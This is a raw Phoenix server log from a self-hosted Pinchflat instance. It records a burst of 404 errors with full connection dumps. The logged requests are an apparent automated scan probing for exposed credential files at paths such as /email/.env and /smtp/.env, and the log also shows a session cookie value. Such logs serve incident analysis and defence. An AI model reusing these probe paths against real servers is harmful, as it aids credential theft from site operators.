"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 155, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:19.654 [info] GET /email/.env 02:10:19.655 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=183.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.655 [debug] QUERY OK source="settings" db=0.3ms idle=130.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.655 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:19.656 [error] #PID<0.3460.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 156) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /email/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /email/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/email/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 156, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3460.0>, params: %{}, path_info: ["email", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/email/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6yOCzoEog4AAASbB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/email/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 156, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /email/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/email/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 156, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:19.725 [info] GET /smtp/.env 02:10:19.726 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=200.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.727 [debug] QUERY OK source="settings" db=0.2ms idle=139.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.727 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:19.727 [error] #PID<0.3461.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 157) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /smtp/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /smtp/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/smtp/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 157, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3461.0>, params: %{}, path_info: ["smtp", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/smtp/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6yfG01OExycAAScB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/smtp/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 157, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /smtp/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/smtp/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 157, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:19.779 [info] GET /mailing/.env 02:10:19.780 [debug] QUERY OK source="settings" db=0.1ms idle=192.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.780 [debug] QUERY OK source="settings" db=0.0ms idle=125.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.780 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:19.780 [error] #PID<0.3462.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 158) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /mailing/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /mailing/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mailing/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 158, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3462.0>, params: %{}, path_info: ["mailing", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/mailing/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6yr_YXJWtuAAASdB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mailing/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 158, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /mailing/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mailing/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 158, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:19.840 [info] GET /notifications/.env 02:10:19.842 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=185.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.842 [debug] QUERY OK source="settings" db=0.2ms idle=115.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:19.842 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:19.843 [error] #PID<0.3463.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 159) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /notifications/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /notifications/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/notifications/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => 